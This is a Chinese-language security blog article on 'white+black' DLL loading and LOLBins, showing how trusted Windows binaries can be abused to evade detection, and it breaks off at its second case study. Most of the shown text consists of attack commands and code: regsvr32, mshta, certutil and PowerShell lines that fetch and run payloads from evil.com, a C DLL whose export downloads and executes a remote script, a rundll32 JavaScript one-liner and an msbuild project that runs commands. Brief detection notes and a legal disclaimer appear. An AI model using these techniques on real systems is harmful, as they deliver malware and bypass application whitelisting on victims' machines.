白+黑技术与LOLBins——利用合法工具的艺术

admin 2026-04-25 04:40:45 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细介绍了白+黑技术与LOLBins的攻击原理,通过利用rundll32.exe、regsvr32.exe等合法系统工具加载恶意DLL或执行恶意命令来规避安全检测。文档列举了常见工具的具体使用方法和实战案例,包括代码示例和攻击流程分析,并提供了相应的检测方法和防御建议。 综合评分: 82 文章分类: 红队,内网渗透,渗透测试,恶意软件,安全工具


cover_image

白+黑技术与LOLBins——利用合法工具的艺术

原创

pandazhengzheng pandazhengzheng

安全分析与研究

2026年3月27日 08:31 广东

在小说阅读器读本章

去阅读

一、前言概述

白+黑技术和LOLBins利用合法程序和系统工具执行恶意操作,是现代攻击的常用技术。本课将深入介绍这些技术的原理和实现方法。

二、相关内容

2.1 白+黑技术

原理:利用合法的”白”程序(如rundll32.exe、regsvr32.exe)来加载和执行恶意的”黑”DLL,利用白程序的合法性和信誉来规避检测。

常见白程序:

  • rundll32.exe
  • regsvr32.exe
  • mshta.exe
  • wscript.exe
  • cscript.exe
  • msbuild.exe
  • installutil.exe

实现方法:

rundll32.exe C:\malicious.dll,EntryPoint
regsvr32.exe /s /n /u /i:http://evil.com/malicious.sct scrobj.dll
mshta.exe http://evil.com/malicious.hta

2.2 LOLBins(Living Off The Land Binaries)

原理:利用系统自带的合法工具执行恶意操作,这些工具是合法的,不易被阻止。

常见LOLBins:

PowerShell:

IEX (New-Object Net.WebClient).DownloadString('http://evil.com/malicious.ps1')
powershell -enc <base64_encoded_command>

WMIC:

wmic process call create&nbsp;"cmd.exe /c malicious_command"

Certutil:

certutil -urlcache -split -f http://evil.com/malicious.exe malicious.exe
certutil -decode malicious.b64 malicious.exe

Mshta:

mshta http://evil.com/malicious.hta

Msbuild:

<Project&nbsp;ToolsVersion="4.0"&nbsp;xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
&nbsp;&nbsp;<Target&nbsp;Name="Build">
&nbsp; &nbsp;&nbsp;<Exec&nbsp;Command="cmd.exe /c malicious_command"&nbsp;/>
&nbsp;&nbsp;</Target>
</Project>

2.3 实战案例分析

2.3.1 案例1:使用rundll32.exe执行恶意DLL

攻击场景:攻击者需要执行恶意DLL,但需要绕过应用程序白名单。

攻击过程:

  1. 创建恶意DLL
   // malicious.dll
   #include&nbsp;<windows.h>

   // 导出函数供rundll32调用
   extern"C"&nbsp;__declspec(dllexport)&nbsp;void&nbsp;EntryPoint(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine,&nbsp;int&nbsp;nCmdShow)&nbsp;{
   &nbsp; &nbsp;&nbsp;// 执行恶意操作
   &nbsp; &nbsp; MessageBoxA(NULL,&nbsp;"Malicious code executed!",&nbsp;"rundll32", MB_OK);

   &nbsp; &nbsp;&nbsp;// 下载并执行后续载荷
   &nbsp; &nbsp; system("powershell -c \"IEX (New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1')\"");
   }

   BOOL APIENTRY&nbsp;DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)&nbsp;{
   &nbsp; &nbsp;&nbsp;return&nbsp;TRUE;
   }
  1. 使用rundll32执行
   # 方法1:直接执行本地DLL
   rundll32.exe C:\malicious.dll,EntryPoint

   # 方法2:从网络加载DLL(需要SMB共享)
   rundll32.exe \\evil.com\share\malicious.dll,EntryPoint

   # 方法3:使用JavaScript执行
   rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell -c IEX (New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1')");
  1. 验证执行
   # 检查rundll32进程
   Get-Process rundll32 | Select-Object Id, ProcessName, Path

   # 检查命令行参数
   Get-WmiObject Win32_Process -Filter "Name='rundll32.exe'" | Select-Object CommandLine

检测结果:

  • rundll32.exe成功加载恶意DLL
  • 恶意代码在rundll32.exe进程中执行
  • EDR可能检测到异常的DLL加载

经验教训:

  • rundll32.exe是合法的系统工具
  • 需要监控rundll32的命令行参数
  • 容易被行为分析检测

2.3.2 案例2:使用regsvr32.exe绕过应用程序白名单

攻击场景:攻击者需要绕过应用程序白名单,执行恶意代码。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:安全分析与研究 pandazhengzheng pandazhengzheng《白+黑技术与LOLBins——利用合法工具的艺术》

评论:0   参与:  0